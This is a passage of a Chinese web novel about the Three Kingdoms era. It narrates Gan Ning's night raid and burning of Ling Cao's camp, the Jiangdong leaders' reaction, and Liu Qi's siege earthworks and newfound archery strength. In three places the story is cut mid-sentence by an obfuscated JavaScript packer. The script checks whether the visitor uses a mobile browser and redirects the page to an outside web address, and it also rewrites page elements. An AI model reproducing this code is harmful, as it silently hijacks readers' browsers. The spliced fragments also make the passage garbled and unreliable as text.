若只以“情有可原”轻轻放过,如何震慑那些渐生骄心的将领?如何让他们对我的号令心存敬畏? 所以,孙权即便知道周瑜的分析贴近实情,但孙权也必须将此事定性为“漏洞”,必须强调是“军纪松懈”所致。 这不是不懂军事,而是……主君之道,军心如水,需时时引导,更要牢牢握于掌中。 是日。 月黑风高,江面上弥漫着潮湿的雾气。 甘宁站在一艘走舸船头,锐利的目光穿透夜色,紧盯着远处周瑜水寨的轮廓。 经过两日筹备,甘宁点出三艘快船,船内满装火油等引火之物,又唤来百名心腹——皆是他昔日“锦帆贼”旧部。 这群人自益州巴郡便随甘宁征战,沿长江一路打到鄱阳、荆州,个个是浪里白条,水上功夫精熟无比,悄无声息地划过水面来到江东水寨前。 “校尉,前方到了暗礁区了。”一名老兵低声道。 甘宁微微颔首,亲自掌舵。 轻车熟驾地避开每一处暗礁,每一道暗流。 船只在甘宁手中仿佛活过来般,在这险恶的水道中灵活穿行,如同游鱼般避开所有险阻,而其余两艘船只也随着甘宁的后路跟随前行。 不多时,江东水寨的木栅渐渐清晰。 甘宁抬手示意,三艘快船同时停下,隐在一处礁石群中。 这时江东寨墙上,两名巡逻士卒举着火把走过。 “整日操练,连口酒都不让喝...”一个疲惫的声音传来。 另一个声音抱怨道:“都督严令,谁敢违抗?这几日累得倒头就睡,连值守都打不起精神。” 慢慢潜伏到营寨而下的甘宁闻言嘴角勾起一丝冷笑。 周瑜治军严谨本是好事,但操之过急,反倒让士卒心生怨怼,这正是他等待的良机。 随即甘宁打了个手势,三名身手最矫健的部下跟着他悄无声息地潜入水中,口中衔着短刀,向寨墙游去。 木栅高达三丈,表面湿滑,处于江水中让人难以攀爬。 但甘宁何许人也,这点困难还难不倒甘宁,只见甘宁从腰间取出一对特制短刃,刀身带有细齿,轻轻插入木缝,交替着向上攀爬。 甘宁动作轻盈如狸猫,不一会儿就翻上寨墙。 扫视一圈后,确定这一段寨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591506|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙上空无一人,刚才巡逻的士卒已经走远。 甘宁放下数条绳索,百名精锐士卒依次攀上,动作迅捷熟练,显然不是第一次随同甘宁做这样的事了。 “记住!” 甘宁压低声音,眼中凶光闪烁,“目标,江东营房区!” “点火制造混乱,驱赶他们自相践踏,**溃兵!动作要快!” 众人领命,分成数股,直扑那些鼾声四起的营帐。 甘宁亲率一队,刚摸过一片辎重堆,前方拐角处便传来脚步声和低语。 甘宁立刻打了个手势,所有人瞬间隐入帐影之下。 不一会,便只见一小队巡逻兵哈欠连天地走来,兵器都扛得歪歪斜斜。 “真是困煞人也……谁!?”为首什长话音未落,甘宁便如猎豹般从阴影中扑出! 寒光一闪,短刃精准地划过什长咽喉,将那未尽之语永远切断。 而甘宁身后的锦帆卒也同时发动,迅捷无声,将另外几名巡逻兵还没来得及反应,便已被利刃放倒,整个过程在几个呼吸间完成,让队巡视的江东士卒还没来及发出任何警报,便已变成一具尸体。 解决完这一段士卒后,甘宁目光扫视营区,骤然锁定在营区中央那杆在夜风中微微飘荡的帅旗上。尽管夜色深沉,但那旗帜上依稀可辨的“凌”字, “凌操……” “江东的猛将?哼,今夜合该你倒霉,撞在我手里!” 说着,甘宁将手中的火油罐奋力掷入,随即一支火把跟进。 “轰!” 干燥的营帐瞬间被烈焰吞噬。 几乎在火起的同一刻,远处望楼上值夜的哨兵骤然发现了这突如其来的火光,惊得魂飞魄散,扯着嗓子敲响了铜锣,凄厉的呼喊划破夜空:“走水啦!走水啦!” 但很快望楼上的士卒便发现并非走水。 在冲天火光里竟涌出数十道身影,挥刀直劈慌乱奔逃的江东军,正是甘宁一行! 帐区瞬间乱作一团,仅一会功夫就有数十名江东兵倒在刀下。 “起火了!敌袭!敌袭!”几乎在同时,其他几队也纷纷得手,惊呼声、惨叫声此起彼伏。 整个营房区顿时炸开了锅。 从睡梦中被烈火和喊杀声惊醒的江东士卒惊慌失措,根本来不及披甲执刃,如同无头苍蝇般涌出燃烧的营帐。 黑暗中,他们看不清来了多少敌人,只觉得到处都是火光、喊杀和同僚凄厉的惨叫。 “败了!快跑啊!”不知谁喊了一声,恐慌如同瘟疫般蔓延。 混乱中,有人被推倒,有人为了夺路而挥刀砍向挡路的同伴。 营啸,这个在古代让所有将领惧怕的事情发生了。 甘宁手持双戟,如同虎入羊群,专门**那些试图集结军官模样的敌人,进一步加剧了混乱。 但甘宁并不恋战,如同旋风般在混乱的边缘游走,手下士卒亦是如此,以纵火和制造恐慌为主,刀锋所向,皆是溃逃之敌的背脊。 眼见火势已成,混乱已无法遏制,甘宁一声唿哨,带着部下,便打算按原路疾退至寨墙边。 然而,就在此时,侧前方一阵骚动,数十名衣甲相对整齐的亲兵护卫着一员将领,正试图冲出混乱的核心区域。 那将领顶盔贯甲,手持长刀,正是此营主将凌操! 凌操显然也是不敢留在已经陷入营啸而混乱自相残杀的营部中心,试图到空旷处重整部队。 火光摇曳间,凌操的目光突然看见正在撤离的甘宁小队。 凌操见对方精悍的打扮、手中的利刃以及那与营内混乱士卒截然不同的有序撤退姿态。 电光石火间,凌操顿时间就明白了——这伙人,就是他们点燃了火苗,引爆了这场吞噬他部曲的营啸! 看着火光中哀嚎奔逃、自相残杀的士卒,那可都是他一手带起来的子弟兵啊! 凌操只觉得一股血气直冲顶门,心都在滴血,一场营啸过后,他的部曲战力恐怕十去六七! “贼将休走!” 凌操目眦欲裂,一声暴喝如同惊雷,也顾不得许多,率着身边亲卫便朝甘宁冲杀过来。 (本章完) 第43章 甘宁袭营归来,震动荆州水寨! 甘宁见行踪暴露,追兵已至,非但不惊,反而狰狞一笑。 “凌操?来得正好!爷爷我正嫌还没杀得痛快!” 说着,甘宁反身挥动双戟,如同一道闪电,直直迎向凌操! “铛!” 戟刀相交,迸发出一溜火星。 两人就在这火光冲天、喊杀四起的混乱边缘激烈厮杀起来。 凌操势若疯虎,刀刀狠戾,恨不得将甘宁立毙刀下,甘宁却如同滑不留手的游鱼般,双戟翻飞,以巧劲化解猛攻,且战且退,始终保持着向寨墙方向移动。 两人麾下的士卒也绞杀在一处,刀光剑影,怒吼与惨叫声不绝于耳。 但甘宁的人且战且走,阵型不乱,而凌操的亲卫却被不断涌来的溃兵稍稍阻滞。 就这样,两人一路厮杀,从营房区边缘一直打到靠近水寨木栅的江边,也正是甘宁等人潜入和预定撤离的地点。 此时,江面上雾气中已然出现了接应的甘宁的船只轮廓,船上**齐齐指向甘宁所在的寨墙上,只不过怕误伤到甘宁等友军便引弓待发。 而甘宁眼见接应已到,且部曲们也陆续跃入江水后,便猛地加急攻势,双戟连环三击,逼得凌操后退一步,甘宁则趁机一个后跃,拉开了距离,然后跃入江水中。 “凌校尉!” 甘宁在江水中,回头对着寨墙上怒火中烧的凌操朗声笑道,“承蒙欢送,这把火烧我的甚是痛快!告诉你家周都督,甘宁今晚到此一游,改日再来拜会!哈哈哈哈哈!” 凌操眼睁睁看着甘宁如游鱼般跃入江中,那嚣张的笑声和挑衅的言语如同**般刺入凌操耳膜。 凌操只觉得一股腥甜直冲喉头,胸膛几乎要被那股无处发泄的暴怒撑裂,双目赤红如血,额角青筋暴起。 “恶贼!安敢如此!!”凌操发出一声愤怒的咆哮,理智已被怒火烧尽,竟也要不管不顾地跟着纵身跳下江去,誓要将那甘宁斩杀于江中。 “将军不可!!”身旁的亲卫队长见状,惊得魂飞魄散,与另外两名壮硕亲兵死命扑上,一人抱腰,两人曳臂,用尽全身力气才将凌操给拉住。 夜黑风高,江流湍急,暗礁密布,主将若贸然跳下,别说追杀,自身都难保! “放开我!!”凌操奋力挣扎,状若疯虎。 “将军!水情复杂,追不得啊!”亲卫队长急声劝道,声音里都快带着哭腔了。 凌操被亲卫死死拉着在原地,只能看着甘宁在水中迅速向接应船只游去。 突然凌操猛地甩开亲卫的拉扯,指着江面,嘶吼道:“弓箭手!弓箭手何在?!给我射!射死他!!” 然而,还不等那些惊魂未定的弓箭手从混乱中集结到位,江面上的接应甘宁的船只已然有了动作。 只见船头一名头目将手中令旗一挥,早已张弓搭箭、严阵以待的百名荆州弓手同时松开了弓弦! “嗖嗖嗖——!” 霎时间,数百支箭矢如同飞蝗般破空而来,带着凄厉的呼啸声,精准地覆盖了凌操及其亲卫所在的区域! “保护校尉!!”亲卫们骇然失色,但只因刚才营啸带来巨大的混乱,亲卫们哪有什么东西可以抵挡箭雨。 只能拉着凌操往水寨里面跑躲避箭雨,或干脆扑上前用身体遮挡,将凌**死护在身下。 “夺夺夺——”箭矢密集地钉寨墙、地面和不幸中箭者的身体上,而不知是凌操倒霉还是被重点照顾了,两名挡在凌操前面的亲卫瞬间被射成了刺猬,惨叫着倒地,鲜血顷刻间染红了江岸。 而黑夜里,荆州弓手的准度堪忧,绝大部分箭矢都射在地面,只射中四五名凌操亲兵。 箭雨过后,亲卫们才心有余悸地的松了一口气。 凌操推开护住他的亲兵,站起身,目光扫过地上两名亲卫犹自圆睁双目、浑身插满箭矢的尸体,再看向江面——甘宁已被拉上接应船只,船只正扬帆转向,迅速驶入黑暗的江心。 一想到自己部曲营啸而损失惨重,自己颜面尽失,甚至连追击都做不到,只能眼睁睁看着元凶扬长而去…… 新仇旧恨,部曲的哀嚎,亲卫的鲜血,无尽的**…… 所有的,所有的情绪最终凝聚成两个字,从凌操几乎咬碎的牙关中迸射出来,带着刻骨铭心的恨意: “甘——宁——!” 凌操盯着甘宁消失的方向良久后。 “清理战场....” 凌操的声音嘶哑,带着一种近乎碎裂的平静。 “收敛阵亡将士遗体,统计伤亡,扑灭余火。” 说完,凌操转身,返回正在燃烧呻吟的营部。 等待天色微明时,残烟未散,江东水寨如同被巨兽啃噬过,留下大片焦黑与破败。 “末将....疏于防范,致贼人甘宁潜入,焚毁营寨,引发营啸,士卒伤亡惨重,请主公治罪!” 凌操单膝跪地,头颅低垂,抱拳道。 中军大帐内,孙权端坐上首,面色平静,听完了凌操干涩简短的汇报。 帐中诸将皆沉默不言,不少人脸上还带着烟熏火燎的痕迹,眼中既有忙碌一宿的疲惫,以及压抑的愤怒。 孙权端坐案后,面色平静,碧眼落在凌操身上,久久未言。 孙权的沉默仿佛一块无形的巨石,压在凌操和帐内诸将的心头。 良久,孙权缓缓开口,声音里听不出喜怒,但却敲打在每个人心头上:“凌校尉,你疏于防范,致使营垒被焚,士卒哗乱,伤亡惨重……。” 凌操身躯微颤,沉声道:“末将甘受军法!” 这时坐在侧首的周瑜向孙权微微拱手道:“主公,凌校尉虽罪在疏忽,然其力战负伤,部曲折损甚巨,亦已付出代价。” “当务之急,乃整饬全军,堵塞漏洞,臣请暂记其过,令其戴罪立功,以待后效。” 孙权颔首,知道周瑜这是在保全将领士气,亦符合自己敲打军中诸将立威的本意。 念此,孙权顺势沉声道:“那便依公瑾所言,凌操望你牢记此番教训,莫负公瑾求情之恩。” “谢主公!谢都督!”凌操对二人行礼拜谢。 孙权目光扫过帐内诸将,语气转为前所未有的严厉:“然,军纪涣散,方有此败!此风绝不可长!” “公瑾!!” “臣在。”周瑜肃然应道。 “此事便交由你全权处置,彻查各营,严惩懈怠!” “此类事件,绝不可再发生!” 孙权的声音不大,但却带着不容置疑的决然。 “瑜,领命!”周瑜沉声接令,向孙权一礼,转身出了大帐。 走出大帐,远离了孙权的视线,周瑜平静的面容瞬间覆上一层寒霜,眼底怒火涌现。 方才在帐内,周瑜面色平静,言辞恭谨,完美地扮演了服从主君命令的统帅角色。 可当周瑜走出大帐后,再也忍耐不住心中怒火。 先前孙权借甘宁穿越江防之事施压,要求整肃军纪,周瑜心知孙权更多的是,作为新任主君意在立威的**手腕。 周瑜当时虽也执行,但内心深处,不免将其视为一种对军心士气的必要“敲打”,带有几分“做给上面看”的意味。 但此刻,周瑜的心态已经完全不同了! 甘宁此番在周瑜眼皮底下夜袭得手,烧营溃军,这已是赤裸裸打在他周公瑾脸上的耳光! 是实实在在的军事失利!他统兵多年,何曾受过如此奇耻大辱? “传令!” 周瑜语气中寒冷如冰,“昨夜值守水寨之巡哨队正、哨长,全部拿下,依军法重责,以儆效尤!各营即刻起……” 与此同时,长江南岸,荆州水寨。 天色已渐明,江雾散尽。 甘宁率队凯旋,人还未靠岸,捷报已先一步飞回营中。 当甘宁那艘标志性的走舸缓缓驶入水寨时,岸边早已聚满了闻讯而来的荆州士卒。 众人看着甘宁等人回来顿时爆发出震天的欢呼! 这欢呼主要来自甘宁的锦帆营部曲,他们为头领的凯旋而由衷兴奋。 就连许多荆州水师的普通士卒,也受到了感染,望着那归来的船队指指点点,脸上带着钦佩与激动。 “瞧见没!昨夜江对岸那冲天的火光,烧了半边天!定是甘校尉的手笔!” “了不得!真了不得!能潜入敌营放这把火,是条好汉!” 士卒们议论纷纷,他们虽不知具体战况,但昨夜那映红江天的烈焰做不得假,足以让他们对这位新来的嚣张校尉刮目相看。 然而,在一众士卒欢呼的边缘,那些正统出身的荆州水师将校们,此刻却多是默然肃立,或神色远比士卒们复杂。 寻常士卒只看得见江天之上的冲天火光与喧嚣,对战事细节一无所知,见甘宁只身扰动敌营还能全身而退便对甘宁心生钦佩。 但这些荆州水师将校,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591507|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已得了更详实的战报: 甘宁不仅潜入江东水寨核心,焚毁营区,引发营啸,更在乱军之中与江东猛将凌操及其亲卫正面遭遇、激战良久,最后还能从容脱身,率部全身而退! 一众将校回想起甘宁初来时的嚣张气焰,想起甘宁败军之将的过往,想起主公刘琦折节下交,更直接授予其“横江校尉”之显职…… 当时一些将校心中何其不服? 私下非议,谓刘琦太过宠信此江湖草莽,恐非驭下之道。 然而此刻,面对甘宁这实打实的战绩。 潜入敌营于万军之中,纵火焚毁敌营,且还能在敌营中与凌操这等猛将厮杀后,仍能带着弟兄们安然归来,这岂是寻常“勇武”二字可以概括? 这分明是胆略、武艺与临阵机变的极致展现! 几名资历颇老的军侯、司马相视无言,皆从对方眼中看到了同样的震撼。 一人抚须长叹,声音带着些许沙哑:“深入敌营重地,焚其营垒,战其主将,而后飘然远引……古之虓虎,亦不过如此罢!” 另一人摇头苦笑,接口道:“昔日观其行止,只道是狂徒。” “今日方知,真豪杰也!主公识人之明,慧眼如炬,吾辈……远远不及也。” 众将校默然,再望向那被士卒狂热簇拥的甘宁时,眼神里原有的质疑与轻蔑已荡然无存,取而代之的,是对甘宁实力的敬畏,以及对刘琦——能于风尘之中识此英雄的——深深折服。 翌日,甘宁夜袭江东水寨战果统计传来:甘宁部亲手斩首不过十余级,但江东军因营啸自相践踏、焚溺而死者,逾三百之众,伤者更是不计其数,营房区几乎被焚毁大半。 而当甘宁夜袭大捷的战报,传遍全水寨后,荆州水卒还因前番水战失利的阴霾一扫而空。 低迷的士气陡然高涨,甚至生出了一股求战之心。 而这股情绪很快便蔓延至中军大帐。 帐内,庞统正对着案上的水寨图沉思,见将校们联袂而来,便知他们来意。 其中一位资历最老的司马抱拳慨然道:“军师!甘校尉此战,大振我军威!” “而江东军新败,营垒被焚,士气必然低落,正是一鼓作气之时!” “末将等**,趁此良机,尽起水师,与周瑜决一死战,必可一雪前耻!” 而帐中诸将校目光灼灼,皆望向庞统,眼中战意昂扬。 庞统坐于主位,闻言并未立刻表态,而是摸了摸下巴稀疏的胡子,目光转向一旁虽经一夜激战、却依旧精神奕奕的甘宁,脸上露出一丝意味深长的笑意,缓缓开口:“兴霸,你此番立下奇功,大涨我军声势,而诸将皆言趁胜进击,你意下如何?” 庞统顿了顿,语气平和却切中要害,“你亲自潜入周瑜营中,以你观之,彼军虚实究竟如何?我军……当出击否?” 所有人的目光瞬间都聚焦在甘宁身上。 此刻的甘宁,乃是新立的英雄,甘宁的判断,无疑具有极重的分量。 然而,甘宁并未被胜利与众人的期待冲昏头脑。 甘宁抱拳一礼:“回军师,宁以为,此刻绝非与江东水师决战之时!” 甘宁此言一出,帐内顿时一阵轻微的骚动。 甘宁不顾众人疑惑的目光,继续沉声分析:“我军兵力,仍远逊于周瑜,战船数量亦处劣势,前番失利,根源于此。” “昨夜宁能成功,一在攻其不备,二在欺其懈怠,而周瑜非是庸才,实乃江东柱石,经此一败,彼必严加防范,重整军纪。” “若此时我等与之堂堂正正列阵于江面,进行主力决战,则我军胜算渺茫。” 甘宁话语坦诚,毫不讳言己方劣势,这让原本有些发热的将校头脑渐渐冷却下来。 甘宁环视众人,最后看向庞统总结道:“故此,宁以为,当下仍应以固守营寨、蓄养士气为主,同时以锦帆快船继续袭扰其粮道、巡哨,积小胜为大胜,慢慢消磨其锐气与实力,方为上策。” 庞统听罢,眼中赞赏之色更浓,庞统看向诸将:“兴霸之言,老成谋国,正合我意。” “诸位勇气可嘉,然决战之机未至,且依兴霸之策,固垒,练兵,寻机扰敌,以待天时!” 众将校见庞统与甘宁意见一致,且分析得入情入理,虽心有不甘,却也纷纷压下求战之心,肃然领命:“谨遵军师将令!” (本章完) 第44章 黄忠震惊:主公竟有如此神力! 江北,石阳戍十里外,刘琦大营连绵数里,旌旗蔽空。 自那日刘琦亲率万余主力自安陆开抵石阳戍外,与王朗部四千郡兵会师,立营已过五日。 而刘琦从江南庞统水寨,折返江北大营不过三两日,便接到了自南岸水寨快马送来的详细战报。 此刻中军帐内,刘琦手握那卷记载着甘宁夜袭细节的竹简,脸上难掩激赏之色。 刘琦屈指在案上轻轻一叩,声音兴奋之色呼吁而出:“好一个甘兴霸!百人踏营,焚其积聚,乱其军心,更在凌操眼前扬长而去。” “周瑜此番,颜面扫地矣!” 王朗仔细听完战报,沉稳颔首:“甘校尉此番夜袭,选锋精准、进退有序,确是精兵风范。” 接着王朗转向刘琦,一本正经地拍马屁道:“然若非主公力排众议,于微时便授以横江校尉之职,焉有今日之功?” “主公用人之明,令属下叹服。” 闻言刘琦嘴角微微一抽。 王朗这话明明是在奉承,可从王朗那张刻板的脸和一本正经的语气里说出来,倒像是在陈述什么军规条例。 刘琦轻咳一声:“王校尉此言...倒也有理。” 黄忠在一旁听得眼角微跳。 这位老将军驰骋沙场半生,还是头回见识到有人能把马屁拍得跟宣读军令似的,心道这王朗到底是行伍出身,连奉承人都这般生硬 黄忠清了清嗓子:“甘兴霸这一仗打得确实痛快,百来人就敢往周瑜大营里闯,这份胆色,这份能耐,当得起主公的看重!” 说着,黄忠特意朝刘琦拱了拱手,“要不说主公慧眼识珠呢!这般豪杰,也就主公敢用、会用!” 黄忠这番称赞看似在夸甘宁,实则句句都在肯定刘琦的识人之明。 这位老将军看似粗豪,实则深谙夸将不如夸帅的道理。 黄忠眼角余光瞥见刘琦嘴角的笑意,心中暗喜:这才对嘛,夸人得夸在点子上。 刘琦将竹简轻轻放在案上,目光扫过帐中二位将领。 王朗的刻板奉承与黄忠的豪迈称赞形成了鲜明对比,让刘琦不禁莞尔。 “二位将军所言皆有道理。”刘琦起身走向帐外,“兴霸此战确实大涨我军士气。” “走,随我去看看土垒推进得如何了。这几日督促着士卒们日夜赶工,想必已经初具规模。” 不一会的功夫,刘琦勒马站在离石阳戍关隘一里外的小坡上,站在这里,可以一览无遗石阳戍关前。 刘琦自返回江北后,对石阳戍关隘的打法便已有了定计。 刘琦早将“消耗江东军”定为核心战略,深知这关隘险峻,若强行猛攻,自家兵力损失只会更大。 于是刘琦便想起袁绍在官渡时,堆筑土山令弓箭手据高而射曹营的思路。 土垒层层向前推进,待与关隘距离拉近,荆州军的弓箭手便可登上垒顶,凭高俯射隘内守军。 既不用冒强攻之险,又能以持续的箭雨不断消耗江东军的兵力与士气,日复一日磨去他们的锐气,直至对方再也撑不住这慢性损耗。 刘琦抬眼望去,只见经过多日土木作业,土山以及初见成效。 夯土层层垒起,呈阶梯状向关隘延伸,最前沿的土垒距关墙已不足两百步,而无数的士卒正扛着木石加固边缘,或挑着石土往上推进土山。 而石阳戍关墙上,守军主将程普正凭垛远眺,副将宋濂攥着腰间佩刀快步上前。 “将军!再让弟兄们冲一次吧!” 宋濂按在关墙垛口上的手用力到发白,目光死死盯着下方节节推进的土垒,声音里满是焦灼。 “再这么耗着,等他们把土山堆到跟前,咱们连头都不敢露了!” 程普站在他身侧,花白的胡须微微颤动,眼神却比宋濂沉定得多。 程普轻轻摇头,声音带着几分无奈:“宋校尉,你忘了前日那拨弟兄的代价?” 宋濂喉结滚了滚,一时语塞,前日他也是急得上火,**带两百人冲出去拆土垒,结果刚出关隘没几步,荆州军阵里就射出成片箭雨,土垒却没碰着一块,弟兄们死伤大半。 “照这个进度,再有三日就能把土垒推到百步之内。” 刘琦满意地打量着眼前的工事,“到时候**手往土垒上一站,关墙上的守军连头都抬不起来。” 刘琦在打量土山时,一旁的王朗也没闲着,而是在一旁仔细观察着关墙上的布防。 忽然王朗指向石阳戍墙头某处:“主公您看,东南角敌楼上的守军换防比别处慢了半刻,说明那处可能是新补的士卒。” “日后,若要蚁附攻城时,可挑选此处为突破口!” 王朗并非世家出身,而是从行伍最底层凭战功一步步爬上来的。 刀光剑影里滚过,尸山血海中蹚过,这份经历让王朗养成了刻在骨子里的警觉: 那就是从不敢在战场周遭有半分懈怠,哪怕是随刘琦视察己方工事,目光也总会不自觉扫向敌方防线,从守军的神态、换防频率,到甲胄的新旧、兵器的摆放,都细细打量。 对王朗而言,战场无小事,任何一处细微异常都可能是破敌的关键。 也正因这份近乎本能的尽职与敏锐,王朗才在刘琦专注土垒时,捕捉到东南角敌楼换防慢半刻的破绽。 黄忠闻言,凝目细看王朗所指之处,果然发现那处守军在换防时显出疲态。 黄忠抚掌赞道:“王校尉观察入微!” “不过...”黄忠话锋一转,眼中闪过锐利的光芒,“既然已发现敌军破绽,何不趁势而为?” 说罢,黄忠便向刘琦**道: “主公,末将愿领一队精锐,今夜就摸上关去,打他们个措手不及!” 黄忠并非不理解刘琦以守为攻、消耗敌军的战略意图。 只是甘宁夜袭成功的战报,让这位老将心中燃起了建功立业的渴望。 在黄忠看来,消耗固然稳妥,但战场上的良机往往稍纵即逝。 既然发现了敌军破绽,就该果断出击。 刘琦闻言,却是轻轻摇头:“汉升勇武,我心知肚明。不过...” 刘琦抬手指向石阳戍关墙上那些若隐若现的**手。 “程普乃江东宿将,用兵老练,岂会轻易露出破绽?这看似松懈之处,说不定正是诱敌之计。” 黄忠还要再争,却见刘琦已转身对传令兵道:“传令下去,加快堆土垒速度,待到与关隘百步后,**手轮番施射。” 望着传令兵远去的背影,黄忠不禁扼腕叹息。 虽然那个破绽有可能是敌将所为,已布下后手。 但破绽却是真破绽呀。 这时,坡下树林中忽然惊起一群飞鸟。 黄忠眼神一厉,隐约见到土坡下的树林里穿梭过几道身影。 而两军阵前鬼鬼祟祟接近此处,必然是石阳戍的探子无疑。 其实,坡下树林间飞鸟惊惶腾空异动其实早已引起众人注意。 刘琦和王朗也都瞥见了林中若隐若现的身影,那是江东军的探子在窥探他们的情况。 而探子出现在两军对峙的战场上并不罕见,所以刘琦神色如常,甚至连马缰都没有收紧。 这些探子与刘琦隔着两百步之遥,又在林木掩映之间,根本对刘琦构不成什么威胁。 而且身周百余亲卫环伺,身后不远就是大营辕门,若真有不测,纵马片刻便可退入营中。 “不必理会。” 是以,刘琦平淡的对左右道,“两军对峙,互相探查再寻常不过。” 话音未落,众人耳中便听见弓弦震响! 黄忠不知何时已张弓搭箭,‘咻’的一声破空后,瞬间坡下树林间一个江东斥候应声倒地。 见此刘琦脸上不由得露出讶色。 隔着两百步之遥,在树林层层树影遮挡下,寻常人莫说射中目标,就是要看清人影都殊为不易。 可黄忠这一箭,不仅穿透枝叶阻隔,更是直取要害! “汉升这一箭...当真了得!” 刘琦由衷赞叹道。 王朗在旁也是神色肃然:“末将方才也看见那斥候身影,隐在树后,不过一闪而过。” “黄将军能在瞬息间把握时机,一箭毙敌...这等箭术,实非常人可及。” 黄忠收弓一笑,语气中带着几分傲然:“雕虫小技罢了,若是平地无遮无拦,二百步内取敌将首级如探囊取物。” 刘琦望着坡下树林间似乎是被黄忠这一箭吓得匆忙逃窜的探子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘琦接弓试拉,出乎刘琦意料,只感觉手中弓如同后世塑料弓般,被刘琦轻松拉开了满弓,然后一箭射中五十步开外的树木。 “咦?”黄忠眼睛一亮,“主公好根基!” 说着黄忠又让人取来二石弓,递过刘琦。 这次刘琦稍显吃力,但依然稳稳开弓,然后射中刚才树木。 这下连一向沉稳的王朗都面露惊异:“二石弓便是军中将校也未必能开,主公何时练就这般力气?” 最让人震惊的是,黄忠为了测试出刘琦的力道究竟有多大后,便直接将背在后背的祖传三石铁胎弓取下,递给刘琦。 刘琦双手接弓时,只觉铁胎弓入手沉得压腕,接着刘琦依着黄忠先前说的架势扎稳马步,扣弦发力,小臂青筋瞬间暴起,脸颊憋得通红,额角细汗直往下淌。 僵持片刻,那三石铁胎弓的弓弦竟被刘琦缓缓拉开半尺,虽未拉满,却已让旁侧的黄忠骤然变了神色。 先前黄忠教箭,只当是为主公做些防身指点,带着几分公事公办的意思。 可此刻见刘琦竟有这般力道,黄忠瞳孔一缩,快步上前,目光死死的盯着那道弓弦:“主公竟能拉开三石弓?这般底子,哪用只学防身!” 黄忠语气里多了几分急切:“主公若肯日日勤练,假以时日,主公练成百步穿杨的神射手也不在话下!” 刘琦怔怔地望着手中的三石铁胎弓,心中掀起惊涛骇浪。 刘琦分明记得原主刘琦自幼体弱,莫说开三石强弓,便是寻常一石弓都拉得吃力。 可方才刘琦不仅拉开了这张重弓,更是在未经瞄准的情况下,仅凭心中感觉就射中了五十步外的树干! 是以,刘琦心中震惊之余对黄忠,王朗二人只含糊应了两句:“啊?哦……好,好,先练根基就是。” 刘琦语气里带着点没回过神的恍惚,全然没察觉自己这话应付得有多随意。 汉代一石约合今三十公斤,三石弓需近百公斤拉力方能拉开。 这等力道,便是久经沙场的猛将也未必能及。 刘琦一个从未习武的世家公子竟能做到,实在令黄忠、王朗匪夷所思。 (本章完) 第45章 一箭封喉:程普毙命! 刘琦还在盯着三石铁胎弓发怔时,黄忠已大步流星奔到五十步外的树木前,只见刘琦先前射的那两支箭,竟齐齐钉在树桩同一处凹陷里,箭簇深深扎入木中,露在外面的箭杆还微微颤动,一看便知力道十足、准头惊人。 看完后,黄忠眉头拧着,快步走回来,语气里带着点哭笑不得:“主公刚才求学之言莫非在消遣老汉我不成?” 刘琦正愣怔着,听见这话过神,脸上满是茫然,下意识反问:“汉升何出此言?我今日确是头回正经学箭,怎会消遣你?” 黄忠见刘琦神色不似作伪,竟是顾不得君臣礼节,一把抓住刘琦持弓的右手翻来覆去地细看。 当黄忠触到那光滑细腻的掌心,指尖抚过连个薄茧都没有的虎口时,整个人都僵住了。 刘琦被黄忠这番举动弄得哭笑不得:“汉升,我方才就说了,今日确是初次**箭。” 黄忠缓缓松开刘琦的手,踉跄着后退两步,脸上写满了世界观被颠覆的震撼。 黄忠此刻遭受的冲击,不亚于目睹稚子举起千斤鼎。 黄忠回想起自己六岁启蒙**箭,就被师父誉为五十年一遇的奇才,也是足足苦练月余才能在五十步内箭箭中靶。 而刘琦方才展现的,可是百步穿杨还箭箭同孔的境界! 王朗在一旁听到刘琦是两箭两箭同孔后,瞬间目瞪口呆,忍不住插话:“黄将军是说,刚才主公两箭同孔?” “这、这简直......” 王朗也被这景象惊得说话都结结巴巴了。 黄忠激动的胡须都在颤抖,“这简直就是是旷古绝今的资质啊!老汉我今日......今日真是开了眼了!” 刘琦被二人这般夸张的反应弄得有些窘迫,连忙摆手道:“二位过誉了。许是今日运气好,恰巧蒙中了罢了。” 刘琦嘴上虽然前线着,但心里却也在暗自琢磨。 自穿越过来后,这些日子以来,刘琦确实感觉到身体发生了微妙的变化——不仅力气见长,耳目也变得异常灵敏。 方才射箭时,刘琦集中注意力甚至能清晰地看见百步外树干的纹理,这种感觉,就像是在眼部安置了一个变焦摄像头...... 这种种异常,让刘琦百思不得其解,良久之后,刘琦内心很快便从困惑到释然。 毕竟连穿越这种匪夷所思的事情都能发生在刘琦身上发生了,那再来一点异常也似乎是很合理吧! “或许……这就是天意吧。” 刘琦低声自语,唇角泛起一丝释然的苦笑。 刘琦忽然想起穿越之初的惶惑不安,想起这两个月来在军中的历练,忽然觉得,这突如其来的天赋,未尝不是乱世中一份难得的馈赠。 刘琦轻轻握住铁胎弓,眼中困惑一扫而空。 